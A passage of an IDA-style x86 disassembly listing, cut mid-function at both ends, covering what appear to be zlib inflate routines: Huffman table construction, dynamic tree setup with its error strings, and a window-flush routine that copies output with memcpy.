[ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_EC], ecx loc_4C7306: ; CODE XREF: sub_4C71C8+172j mov edx, [ebp+var_4] mov eax, [edx] mov ecx, [ebp+eax*4+var_54] add ecx, 1 mov edx, [ebp+var_4] mov eax, [edx] mov [ebp+eax*4+var_54], ecx mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_EC] sub edx, 1 mov [ebp+var_EC], edx cmp [ebp+var_EC], 0 jnz short loc_4C7306 mov eax, [ebp+var_54] cmp eax, [ebp+arg_4] jnz short loc_4C735D mov ecx, [ebp+arg_14] mov dword ptr [ecx], 0 mov edx, [ebp+arg_18] mov dword ptr [edx], 0 xor eax, eax jmp loc_4C7A92 ; --------------------------------------------------------------------------- loc_4C735D: ; CODE XREF: sub_4C71C8+17Aj mov eax, [ebp+arg_18] mov ecx, [eax] mov [ebp+var_100], ecx mov [ebp+var_F4], 1 jmp short loc_4C7383 ; --------------------------------------------------------------------------- loc_4C7374: ; CODE XREF: sub_4C71C8:loc_4C739Bj mov edx, [ebp+var_F4] add edx, 1 mov [ebp+var_F4], edx loc_4C7383: ; CODE XREF: sub_4C71C8+1AAj cmp [ebp+var_F4], 0Fh ja short loc_4C739D mov eax, [ebp+var_F4] cmp [ebp+eax*4+var_54], 0 jz short loc_4C739B jmp short loc_4C739D ; --------------------------------------------------------------------------- loc_4C739B: ; CODE XREF: sub_4C71C8+1CFj jmp short loc_4C7374 ; --------------------------------------------------------------------------- loc_4C739D: ; CODE XREF: sub_4C71C8+1C2j ; sub_4C71C8+1D1j mov ecx, [ebp+var_F4] mov [ebp+var_FC], ecx mov edx, [ebp+var_100] cmp edx, [ebp+var_F4] jnb short loc_4C73C3 mov eax, [ebp+var_F4] mov [ebp+var_100], eax loc_4C73C3: ; CODE XREF: sub_4C71C8+1EDj mov [ebp+var_EC], 0Fh jmp short loc_4C73DE ; --------------------------------------------------------------------------- loc_4C73CF: ; CODE XREF: sub_4C71C8:loc_4C73F6j mov ecx, [ebp+var_EC] sub ecx, 1 mov [ebp+var_EC], ecx loc_4C73DE: ; CODE XREF: sub_4C71C8+205j cmp [ebp+var_EC], 0 jz short loc_4C73F8 mov edx, [ebp+var_EC] cmp [ebp+edx*4+var_54], 0 jz short loc_4C73F6 jmp short loc_4C73F8 ; --------------------------------------------------------------------------- loc_4C73F6: ; CODE XREF: sub_4C71C8+22Aj jmp short loc_4C73CF ; --------------------------------------------------------------------------- loc_4C73F8: ; CODE XREF: sub_4C71C8+21Dj ; sub_4C71C8+22Cj mov eax, [ebp+var_EC] mov [ebp+var_A0], eax mov ecx, [ebp+var_100] cmp ecx, [ebp+var_EC] jbe short loc_4C741E mov edx, [ebp+var_EC] mov [ebp+var_100], edx loc_4C741E: ; CODE XREF: sub_4C71C8+248j mov eax, [ebp+arg_18] mov ecx, [ebp+var_100] mov [eax], ecx mov edx, 1 mov ecx, [ebp+var_F4] shl edx, cl mov [ebp+var_E8], edx jmp short loc_4C745B ; --------------------------------------------------------------------------- loc_4C743E: ; CODE XREF: sub_4C71C8:loc_4C7492j mov eax, [ebp+var_F4] add eax, 1 mov [ebp+var_F4], eax mov ecx, [ebp+var_E8] shl ecx, 1 mov [ebp+var_E8], ecx loc_4C745B: ; CODE XREF: sub_4C71C8+274j mov edx, [ebp+var_F4] cmp edx, [ebp+var_EC] jnb short loc_4C7494 mov eax, [ebp+var_F4] mov ecx, [ebp+var_E8] sub ecx, [ebp+eax*4+var_54] mov [ebp+var_E8], ecx cmp [ebp+var_E8], 0 jge short loc_4C7492 mov eax, 0FFFFFFFDh jmp loc_4C7A92 ; --------------------------------------------------------------------------- loc_4C7492: ; CODE XREF: sub_4C71C8+2BEj jmp short loc_4C743E ; --------------------------------------------------------------------------- loc_4C7494: ; CODE XREF: sub_4C71C8+29Fj mov edx, [ebp+var_EC] mov eax, [ebp+var_E8] sub eax, [ebp+edx*4+var_54] mov [ebp+var_E8], eax cmp [ebp+var_E8], 0 jge short loc_4C74BD mov eax, 0FFFFFFFDh jmp loc_4C7A92 ; --------------------------------------------------------------------------- loc_4C74BD: ; CODE XREF: sub_4C71C8+2E9j mov ecx, [ebp+var_EC] mov edx, [ebp+ecx*4+var_54] add edx, [ebp+var_E8] mov eax, [ebp+var_EC] mov [ebp+eax*4+var_54], edx mov [ebp+var_F4], 0 mov ecx, [ebp+var_F4] mov [ebp+var_DC], ecx lea edx, [ebp+var_50] mov [ebp+var_4], edx lea eax, [ebp+var_D8] mov [ebp+var_98], eax loc_4C74FF: ; CODE XREF: sub_4C71C8+386j mov ecx, [ebp+var_EC] sub ecx, 1 mov [ebp+var_EC], ecx cmp [ebp+var_EC], 0 jz short loc_4C7550 mov edx, [ebp+var_4] mov eax, [ebp+var_F4] add eax, [edx] mov [ebp+var_F4], eax mov ecx, [ebp+var_98] mov edx, [ebp+var_F4] mov [ecx], edx mov eax, [ebp+var_98] add eax, 4 mov [ebp+var_98], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp short loc_4C74FF ; --------------------------------------------------------------------------- loc_4C7550: ; CODE XREF: sub_4C71C8+34Dj mov edx, [ebp+arg_0] mov [ebp+var_4], edx mov [ebp+var_EC], 0 loc_4C7560: ; CODE XREF: sub_4C71C8+404j mov eax, [ebp+var_4] mov ecx, [eax] mov [ebp+var_F4], ecx mov edx, [ebp+var_F4] mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax test edx, edx jz short loc_4C75B4 mov ecx, [ebp+var_F4] mov edx, [ebp+ecx*4+var_E0] mov eax, [ebp+arg_24] mov ecx, [ebp+var_EC] mov [eax+edx*4], ecx mov edx, [ebp+var_F4] mov eax, [ebp+edx*4+var_E0] add eax, 1 mov ecx, [ebp+var_F4] mov [ebp+ecx*4+var_E0], eax loc_4C75B4: ; CODE XREF: sub_4C71C8+3B4j mov edx, [ebp+var_EC] add edx, 1 mov [ebp+var_EC], edx mov eax, [ebp+var_EC] cmp eax, [ebp+arg_4] jb short loc_4C7560 mov ecx, [ebp+var_A0] mov edx, [ebp+ecx*4+var_E0] mov [ebp+arg_4], edx mov [ebp+var_EC], 0 mov eax, [ebp+var_EC] mov [ebp+var_E0], eax mov ecx, [ebp+arg_24] mov [ebp+var_4], ecx mov [ebp+var_E4], 0FFFFFFFFh mov edx, [ebp+var_100] neg edx mov [ebp+var_9C], edx mov [ebp+var_90], 0 mov [ebp+var_8], 0 mov [ebp+var_F0], 0 jmp short loc_4C763E ; --------------------------------------------------------------------------- loc_4C762F: ; CODE XREF: sub_4C71C8:loc_4C7A5Fj mov eax, [ebp+var_FC] add eax, 1 mov [ebp+var_FC], eax loc_4C763E: ; CODE XREF: sub_4C71C8+465j mov ecx, [ebp+var_FC] cmp ecx, [ebp+var_A0] jg loc_4C7A64 mov edx, [ebp+var_FC] mov eax, [ebp+edx*4+var_54] mov [ebp+var_C], eax loc_4C765D: ; CODE XREF: sub_4C71C8:loc_4C7A5Aj mov ecx, [ebp+var_C] mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx test ecx, ecx jz loc_4C7A5F loc_4C7671: ; CODE XREF: sub_4C71C8:loc_4C78A7j mov eax, [ebp+var_9C] add eax, [ebp+var_100] cmp [ebp+var_FC], eax jle loc_4C78AC mov ecx, [ebp+var_E4] add ecx, 1 mov [ebp+var_E4], ecx mov edx, [ebp+var_9C] add edx, [ebp+var_100] mov [ebp+var_9C], edx mov eax, [ebp+var_A0] sub eax, [ebp+var_9C] mov [ebp+var_F0], eax mov ecx, [ebp+var_F0] cmp ecx, [ebp+var_100] jbe short loc_4C76D8 mov edx, [ebp+var_100] mov [ebp+var_104], edx jmp short loc_4C76E4 ; --------------------------------------------------------------------------- loc_4C76D8: ; CODE XREF: sub_4C71C8+500j mov eax, [ebp+var_F0] mov [ebp+var_104], eax loc_4C76E4: ; CODE XREF: sub_4C71C8+50Ej mov ecx, [ebp+var_104] mov [ebp+var_F0], ecx mov edx, [ebp+var_FC] sub edx, [ebp+var_9C] mov [ebp+var_F4], edx mov eax, 1 mov ecx, [ebp+var_F4] shl eax, cl mov [ebp+var_94], eax mov ecx, [ebp+var_C] add ecx, 1 cmp [ebp+var_94], ecx jbe loc_4C77BB mov edx, [ebp+var_C] add edx, 1 mov eax, [ebp+var_94] sub eax, edx mov [ebp+var_94], eax mov ecx, [ebp+var_FC] lea edx, [ebp+ecx*4+var_54] mov [ebp+var_98], edx mov eax, [ebp+var_F4] cmp eax, [ebp+var_F0] jnb short loc_4C77BB loc_4C7759: ; CODE XREF: sub_4C71C8+5F1j mov ecx, [ebp+var_F4] add ecx, 1 mov [ebp+var_F4], ecx mov edx, [ebp+var_F4] cmp edx, [ebp+var_F0] jnb short loc_4C77BB mov eax, [ebp+var_94] shl eax, 1 mov [ebp+var_94], eax mov ecx, [ebp+var_98] add ecx, 4 mov [ebp+var_98], ecx mov edx, [ebp+var_98] mov eax, [ebp+var_94] cmp eax, [edx] ja short loc_4C77A5 jmp short loc_4C77BB ; --------------------------------------------------------------------------- loc_4C77A5: ; CODE XREF: sub_4C71C8+5D9j mov ecx, [ebp+var_98] mov edx, [ebp+var_94] sub edx, [ecx] mov [ebp+var_94], edx jmp short loc_4C7759 ; --------------------------------------------------------------------------- loc_4C77BB: ; CODE XREF: sub_4C71C8+559j ; sub_4C71C8+58Fj ... mov eax, 1 mov ecx, [ebp+var_F4] shl eax, cl mov [ebp+var_F0], eax mov ecx, [ebp+arg_20] mov edx, [ecx] add edx, [ebp+var_F0] cmp edx, 5A0h jbe short loc_4C77EB mov eax, 0FFFFFFFDh jmp loc_4C7A92 ; --------------------------------------------------------------------------- loc_4C77EB: ; CODE XREF: sub_4C71C8+617j mov eax, [ebp+arg_20] mov ecx, [eax] mov edx, [ebp+arg_1C] lea eax, [edx+ecx*8] mov [ebp+var_8], eax mov ecx, [ebp+var_E4] mov edx, [ebp+var_8] mov [ebp+ecx*4+var_90], edx mov eax, [ebp+arg_20] mov ecx, [eax] add ecx, [ebp+var_F0] mov edx, [ebp+arg_20] mov [edx], ecx cmp [ebp+var_E4], 0 jz short loc_4C789F mov eax, [ebp+var_E4] mov ecx, [ebp+var_EC] mov [ebp+eax*4+var_E0], ecx mov dl, byte ptr [ebp+var_100] mov byte ptr [ebp+var_14+1], dl mov al, byte ptr [ebp+var_F4] mov byte ptr [ebp+var_14], al mov ecx, [ebp+var_9C] sub ecx, [ebp+var_100] mov edx, [ebp+var_EC] shr edx, cl mov [ebp+var_F4], edx mov eax, [ebp+var_E4] mov ecx, [ebp+var_8] sub ecx, [ebp+eax*4+var_94] sar ecx, 3 sub ecx, [ebp+var_F4] mov [ebp+var_10], ecx mov edx, [ebp+var_E4] mov eax, [ebp+edx*4+var_94] mov ecx, [ebp+var_F4] mov edx, [ebp+var_14] mov [eax+ecx*8], edx mov edx, [ebp+var_10] mov [eax+ecx*8+4], edx jmp short loc_4C78A7 ; --------------------------------------------------------------------------- loc_4C789F: ; CODE XREF: sub_4C71C8+658j mov eax, [ebp+arg_14] mov ecx, [ebp+var_8] mov [eax], ecx loc_4C78A7: ; CODE XREF: sub_4C71C8+6D5j jmp loc_4C7671 ; --------------------------------------------------------------------------- loc_4C78AC: ; CODE XREF: sub_4C71C8+4BBj mov edx, [ebp+var_FC] sub edx, [ebp+var_9C] mov byte ptr [ebp+var_14+1], dl mov eax, [ebp+arg_4] mov ecx, [ebp+arg_24] lea edx, [ecx+eax*4] cmp [ebp+var_4], edx jb short loc_4C78CF mov byte ptr [ebp+var_14], 0C0h jmp short loc_4C792D ; --------------------------------------------------------------------------- loc_4C78CF: ; CODE XREF: sub_4C71C8+6FFj mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, [ebp+arg_8] jnb short loc_4C78FF mov edx, [ebp+var_4] cmp dword ptr [edx], 100h sbb eax, eax and al, 0A0h add eax, 60h mov byte ptr [ebp+var_14], al mov ecx, [ebp+var_4] mov edx, [ecx] mov [ebp+var_10], edx mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax jmp short loc_4C792D ; --------------------------------------------------------------------------- loc_4C78FF: ; CODE XREF: sub_4C71C8+70Fj mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, [ebp+arg_8] mov eax, [ebp+arg_10] mov ecx, [eax+edx*4] add ecx, 50h mov byte ptr [ebp+var_14], cl mov edx, [ebp+var_4] mov eax, [edx] sub eax, [ebp+arg_8] mov ecx, [ebp+arg_C] mov edx, [ecx+eax*4] mov [ebp+var_10], edx mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax loc_4C792D: ; CODE XREF: sub_4C71C8+705j ; sub_4C71C8+735j mov ecx, [ebp+var_FC] sub ecx, [ebp+var_9C] mov edx, 1 shl edx, cl mov [ebp+var_94], edx mov eax, [ebp+var_EC] mov ecx, [ebp+var_9C] shr eax, cl mov [ebp+var_F4], eax jmp short loc_4C796E ; --------------------------------------------------------------------------- loc_4C795C: ; CODE XREF: sub_4C71C8+7CAj mov ecx, [ebp+var_F4] add ecx, [ebp+var_94] mov [ebp+var_F4], ecx loc_4C796E: ; CODE XREF: sub_4C71C8+792j mov edx, [ebp+var_F4] cmp edx, [ebp+var_F0] jnb short loc_4C7994 mov eax, [ebp+var_F4] mov ecx, [ebp+var_8] mov edx, [ebp+var_14] mov [ecx+eax*8], edx mov edx, [ebp+var_10] mov [ecx+eax*8+4], edx jmp short loc_4C795C ; --------------------------------------------------------------------------- loc_4C7994: ; CODE XREF: sub_4C71C8+7B2j mov ecx, [ebp+var_FC] sub ecx, 1 mov eax, 1 shl eax, cl mov [ebp+var_F4], eax jmp short loc_4C79BA ; --------------------------------------------------------------------------- loc_4C79AC: ; CODE XREF: sub_4C71C8+814j mov ecx, [ebp+var_F4] shr ecx, 1 mov [ebp+var_F4], ecx loc_4C79BA: ; CODE XREF: sub_4C71C8+7E2j mov edx, [ebp+var_EC] and edx, [ebp+var_F4] test edx, edx jz short loc_4C79DE mov eax, [ebp+var_EC] xor eax, [ebp+var_F4] mov [ebp+var_EC], eax jmp short loc_4C79AC ; --------------------------------------------------------------------------- loc_4C79DE: ; CODE XREF: sub_4C71C8+800j mov ecx, [ebp+var_EC] xor ecx, [ebp+var_F4] mov [ebp+var_EC], ecx mov edx, 1 mov ecx, [ebp+var_9C] shl edx, cl sub edx, 1 mov [ebp+var_F8], edx loc_4C7A06: ; CODE XREF: sub_4C71C8+890j mov eax, [ebp+var_EC] and eax, [ebp+var_F8] mov ecx, [ebp+var_E4] cmp eax, [ebp+ecx*4+var_E0] jz short loc_4C7A5A mov edx, [ebp+var_E4] sub edx, 1 mov [ebp+var_E4], edx mov eax, [ebp+var_9C] sub eax, [ebp+var_100] mov [ebp+var_9C], eax mov edx, 1 mov ecx, [ebp+var_9C] shl edx, cl sub edx, 1 mov [ebp+var_F8], edx jmp short loc_4C7A06 ; --------------------------------------------------------------------------- loc_4C7A5A: ; CODE XREF: sub_4C71C8+857j jmp loc_4C765D ; --------------------------------------------------------------------------- loc_4C7A5F: ; CODE XREF: sub_4C71C8+4A3j jmp loc_4C762F ; --------------------------------------------------------------------------- loc_4C7A64: ; CODE XREF: sub_4C71C8+482j cmp [ebp+var_E8], 0 jz short loc_4C7A82 cmp [ebp+var_A0], 1 jz short loc_4C7A82 mov [ebp+var_108], 0FFFFFFFBh jmp short loc_4C7A8C ; --------------------------------------------------------------------------- loc_4C7A82: ; CODE XREF: sub_4C71C8+8A3j ; sub_4C71C8+8ACj mov [ebp+var_108], 0 loc_4C7A8C: ; CODE XREF: sub_4C71C8+8B8j mov eax, [ebp+var_108] loc_4C7A92: ; CODE XREF: sub_4C71C8+190j ; sub_4C71C8+2C5j ... mov esp, ebp pop ebp retn sub_4C71C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C7A96 proc near ; CODE XREF: sub_4C4F0F+F0Cp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 0 push 4 push 120h mov eax, [ebp+arg_20] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_20] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4C7ACD mov eax, 0FFFFFFFCh jmp loc_4C7C17 ; --------------------------------------------------------------------------- loc_4C7ACD: ; CODE XREF: sub_4C7A96+2Bj mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_14] push ecx push offset dword_4F2F84 push offset dword_4F2F08 push 101h mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_8] push eax call sub_4C71C8 add esp, 28h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4C7B11 mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_4C7B56 loc_4C7B11: ; CODE XREF: sub_4C7A96+71j cmp [ebp+var_4], 0FFFFFFFDh jnz short loc_4C7B23 mov edx, [ebp+arg_20] mov dword ptr [edx+18h], offset aOversubscrib_0 ; "oversubscribed literal/length tree" jmp short loc_4C7B3A ; --------------------------------------------------------------------------- loc_4C7B23: ; CODE XREF: sub_4C7A96+7Fj cmp [ebp+var_4], 0FFFFFFFCh jz short loc_4C7B3A mov eax, [ebp+arg_20] mov dword ptr [eax+18h], offset aIncompleteLite ; "incomplete literal/length tree" mov [ebp+var_4], 0FFFFFFFDh loc_4C7B3A: ; CODE XREF: sub_4C7A96+8Bj ; sub_4C7A96+91j mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_20] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_20] call dword ptr [ecx+24h] add esp, 8 mov eax, [ebp+var_4] jmp loc_4C7C17 ; --------------------------------------------------------------------------- loc_4C7B56: ; CODE XREF: sub_4C7A96+79j mov edx, [ebp+var_C] push edx lea eax, [ebp+var_8] push eax mov ecx, [ebp+arg_1C] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_18] push eax push offset dword_4F3078 push offset dword_4F3000 push 0 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_8] lea ecx, [eax+edx*4] push ecx call sub_4C71C8 add esp, 28h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4C7BA6 mov edx, [ebp+arg_10] cmp dword ptr [edx], 0 jnz short loc_4C7C01 cmp [ebp+arg_0], 101h jbe short loc_4C7C01 loc_4C7BA6: ; CODE XREF: sub_4C7A96+FDj cmp [ebp+var_4], 0FFFFFFFDh jnz short loc_4C7BB8 mov eax, [ebp+arg_20] mov dword ptr [eax+18h], offset aOversubscrib_1 ; "oversubscribed distance tree" jmp short loc_4C7BE8 ; --------------------------------------------------------------------------- loc_4C7BB8: ; CODE XREF: sub_4C7A96+114j cmp [ebp+var_4], 0FFFFFFFBh jnz short loc_4C7BD1 mov ecx, [ebp+arg_20] mov dword ptr [ecx+18h], offset aIncompleteDist ; "incomplete distance tree" mov [ebp+var_4], 0FFFFFFFDh jmp short loc_4C7BE8 ; --------------------------------------------------------------------------- loc_4C7BD1: ; CODE XREF: sub_4C7A96+126j cmp [ebp+var_4], 0FFFFFFFCh jz short loc_4C7BE8 mov edx, [ebp+arg_20] mov dword ptr [edx+18h], offset aEmptyDistanceT ; "empty distance tree with lengths" mov [ebp+var_4], 0FFFFFFFDh loc_4C7BE8: ; CODE XREF: sub_4C7A96+120j ; sub_4C7A96+139j ... mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_20] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_20] call dword ptr [eax+24h] add esp, 8 mov eax, [ebp+var_4] jmp short loc_4C7C17 ; --------------------------------------------------------------------------- loc_4C7C01: ; CODE XREF: sub_4C7A96+105j ; sub_4C7A96+10Ej mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_20] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_20] call dword ptr [ecx+24h] add esp, 8 xor eax, eax loc_4C7C17: ; CODE XREF: sub_4C7A96+32j ; sub_4C7A96+BBj ... mov esp, ebp pop ebp retn sub_4C7A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C7C1B proc near ; CODE XREF: sub_4C4F0F+1B3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, dword_4EE008 mov [eax], ecx mov edx, [ebp+arg_4] mov eax, dword_4EE00C mov [edx], eax mov ecx, [ebp+arg_8] mov dword ptr [ecx], offset dword_4EE010 mov edx, [ebp+arg_C] mov dword ptr [edx], offset dword_4EF010 xor eax, eax pop ebp retn sub_4C7C1B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C7C50 proc near ; CODE XREF: sub_4C4F0F+F0p ; sub_4C4F0F+23Bp ... var_10 = dword ptr -10h Size = dword ptr -0Ch Src = dword ptr -8 Dst = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov ecx, [eax+0Ch] mov [ebp+Dst], ecx mov edx, [ebp+arg_0] mov eax, [edx+30h] mov [ebp+Src], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Src] cmp edx, [ecx+34h] ja short loc_4C7C7E mov eax, [ebp+arg_0] mov ecx, [eax+34h] mov [ebp+var_10], ecx jmp short loc_4C7C87 ; --------------------------------------------------------------------------- loc_4C7C7E: ; CODE XREF: sub_4C7C50+21j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] mov [ebp+var_10], eax loc_4C7C87: ; CODE XREF: sub_4C7C50+2Cj mov ecx, [ebp+var_10] sub ecx, [ebp+Src] mov [ebp+Size], ecx mov edx, [ebp+arg_4] mov eax, [ebp+Size] cmp eax, [edx+10h] jbe short loc_4C7CA4 mov ecx, [ebp+arg_4] mov edx, [ecx+10h] mov [ebp+Size], edx loc_4C7CA4: ; CODE XREF: sub_4C7C50+49j cmp [ebp+Size], 0 jz short loc_4C7CB7 cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_4C7CB7 mov [ebp+arg_8], 0 loc_4C7CB7: ; CODE XREF: sub_4C7C50+58j ; sub_4C7C50+5Ej mov eax, [ebp+arg_4] mov ecx, [eax+10h] sub ecx, [ebp+Size] mov edx, [ebp+arg_4] mov [edx+10h], ecx mov eax, [ebp+arg_4] mov ecx, [eax+14h] add ecx, [ebp+Size] mov edx, [ebp+arg_4] mov [edx+14h], ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+38h], 0 jz short loc_4C7D08 mov ecx, [ebp+Size] push ecx mov edx, [ebp+Src] push edx mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+38h] add esp, 0Ch mov ecx, [ebp+arg_0] mov [ecx+3Ch], eax mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] mov [edx+30h], ecx loc_4C7D08: ; CODE XREF: sub_4C7C50+8Cj mov edx, [ebp+Size] push edx ; Size mov eax, [ebp+Src] push eax ; Src mov ecx, [ebp+Dst] push ecx ; Dst call _memcpy_1 add esp, 0Ch mov edx, [ebp+Dst] add edx, [ebp+Size] mov [ebp+Dst], edx mov eax, [ebp+Src] add eax, [ebp+Size] mov [ebp+Src], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Src] cmp edx, [ecx+2Ch] jnz loc_4C7E0A mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+Src], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [edx+34h] cmp ecx, [eax+2Ch] jnz short loc_4C7D60 mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [edx+34h], ecx loc_4C7D60: ; CODE XREF: sub_4C7C50+102j mov edx, [ebp+arg_0] mov eax, [edx+34h] sub eax, [ebp+Src] mov [ebp+Size], eax mov ecx, [ebp+arg_4] mov edx, [ebp+Size] cmp edx, [ecx+10h] jbe short loc_4C7D80 mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov [ebp+Size], ecx loc_4C7D80: ; CODE XREF: sub_4C7C50+125j cmp [ebp+Size], 0 jz short loc_4C7D93 cmp [ebp+arg_8], 0FFFFFFFBh jnz short loc_4C7D93 mov [ebp+arg_8], 0 loc_4C7D93: ; CODE XREF: sub_4C7C50+134j ; sub_4C7C50+13Aj mov edx, [ebp+arg_4] mov eax, [edx+10h] sub eax, [ebp+Size] mov ecx, [ebp+arg_4] mov [ecx+10h], eax mov edx, [ebp+arg_4] mov eax, [edx+14h] add eax, [ebp+Size] mov ecx, [ebp+arg_4] mov [ecx+14h], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+38h], 0 jz short loc_4C7DE4 mov eax, [ebp+Size] push eax mov ecx, [ebp+Src] push ecx mov edx, [ebp+arg_0] mov eax, [edx+3Ch] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+38h] add esp, 0Ch mov edx, [ebp+arg_0] mov [edx+3Ch], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] mov edx, [ecx+3Ch] mov [eax+30h], edx loc_4C7DE4: ; CODE XREF: sub_4C7C50+168j mov eax, [ebp+Size] push eax ; Size mov ecx, [ebp+Src] push ecx ; Src mov edx, [ebp+Dst] push edx ; Dst call _memcpy_1 add esp, 0Ch mov eax, [ebp+Dst] add eax, [ebp+Size] mov [ebp+Dst], eax mov ecx, [ebp+Src] add ecx, [ebp+Size] mov [ebp+Src], ecx loc_4C7E0A: ; CODE XREF: sub_4C7C50+E7j mov edx, [ebp+arg_4] mov eax, [ebp+Dst] mov [edx+0Ch], eax mov ecx, [ebp+arg_0] mov edx, [ebp+Src] mov [ecx+30h], edx mov eax, [ebp+arg_8] mov esp, ebp pop ebp retn sub_4C7C50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4C7E30 proc near ; CODE XREF: sub_4C63A5+113p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_14] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_14] mov eax, [edx+4] mov [ebp+var_34], eax mov ecx, [ebp+arg_10] mov edx, [ecx+20h] mov [ebp+var_10], edx mov eax, [ebp+arg_10] mov ecx, [eax+1Ch] mov [ebp+var_28], ecx mov edx, [ebp+arg_10] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_10] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_4C7E7E mov eax, [ebp+arg_10] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_38], ecx jmp short loc_4C7E8A ; --------------------------------------------------------------------------- loc_4C7E7E: 